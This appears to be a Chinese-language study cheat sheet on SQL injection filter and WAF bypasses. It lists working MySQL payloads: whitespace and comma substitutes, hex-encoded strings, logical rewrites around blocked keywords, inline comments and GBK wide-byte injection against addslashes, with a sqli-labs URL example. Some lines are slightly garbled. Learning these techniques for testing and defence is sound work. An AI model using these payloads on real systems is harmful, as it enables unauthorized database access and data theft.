参考:https://www.cnblogs.com/yesec/p/12344786.html
针对特殊字符限制的绕过
空格
/**/
SELECT * from emails where id=1
SELECT//*//from//emails//where/**/id=1
()
括号也可以绕,但不是所有的地方都可以用,
select * from emails where(1=1)and(2=2); √
select(*)from()emails()where(1=1)and(2=2); ×
不是很会用
用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 /**/()
逗号 ,
使用语法绕过:
1 | UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c); |
substr/mid
绕过方法: from x for y
1 | substr('password', 5, 1) |
比较符 < >
greatest函数绕过
1 | greatest(a,b),返回a和b中较大的那个数 |
猜解user()第一个字符的ascii码是否小于等于150时
ascii(mid(user(),1,1)) <= 150
=greatest(ascii(mid(user(),1,1)), 150)=150;
=, !=
枚举爆破绕过
等号 =
SELECT mid(USER(),1,1) = "r"
SELECT mid(USER(),1,1) like "r"
SELECT mid(USER(),1,1) in ("r")
单引号 ‘
在比较的时候过滤了’
用hex编码绕过
防护:SELECT mid(USER(),1,1)=’r’
绕过:SELECT mid(USER(),1,1)=unhex(72)
这样子这个只能hex一个字符,多了就不行,所以不建议用这个
直接0x就行了
防护:SELECT mid(USER(),1,4)=”root”
绕过:SELECT mid(USER(),1,4)=0x726f6f74
括号 ( )
左括号过滤
1 | urlencode,ascii(char),hex,unicode编码绕过 |
右括号过滤
1 | urlencode,ascii(char),hex,unicode编码绕过 |
针对关键字限制的绕过
or and
对于or 和 and,可以用 || 和 &&
1 | 1 or 1 = 1 1 and 1 = 1 |
substr
逻辑绕过
1 | 过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16)) |
hex
逻辑绕过
1 | 过滤代码 1 && substr(user,1,1) = unhex(61) |
union\select
逻辑绕过
例:
过滤代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)=’admin’
十六进制字符绕过
select ——> selec\x74
union——>unio\x6e
where
逻辑绕过
过滤代码 1 && (select user from users where user_id = 1) = ‘admin’
绕过方式 1 && (select user from users limit 1) = ‘admin’
limit
逻辑绕过
过滤代码 1 && (select user from users limit 1) = ‘admin’
绕过方式 1 && (select user from users group by user_id having user_id = 1) = ‘admin’#user_id聚合中user_id为1的user为admin
group by
逻辑绕过
过滤代码 1 && (select user from users group by user_id having user_id = 1) = ‘admin’
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
绕过addslashes
addslashes函数使用反斜线引用字符串,返回一个字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(’)、双引号(”)、反斜线(\)与 NUL(NULL 字符)
在mysql使用了gbk编码的情况下,可以用宽字节注入绕过addslashes
原理:在使用GBK编码后,他认为两个字节代表一个汉字。那如何判断一个字符是不是中文,当第一个字节ascii码大于128,他就会认为这里两个字符是中文,所以%81和后面的 /(%5c)就会组合在一起,mysql会认为他们是一个字符,而这时候,/ 的转义作用就失效了。
128转换16进制是0x80,所以只要大于0x81就行
这里出问题的地方在于mysql,php已经尽职尽责了
1 | 127.0.0.1/sqli-labs-master/Less-33/?id=-1'union select 1,user(),3--+ |
关键字内联绕所有
/!union/
/!select/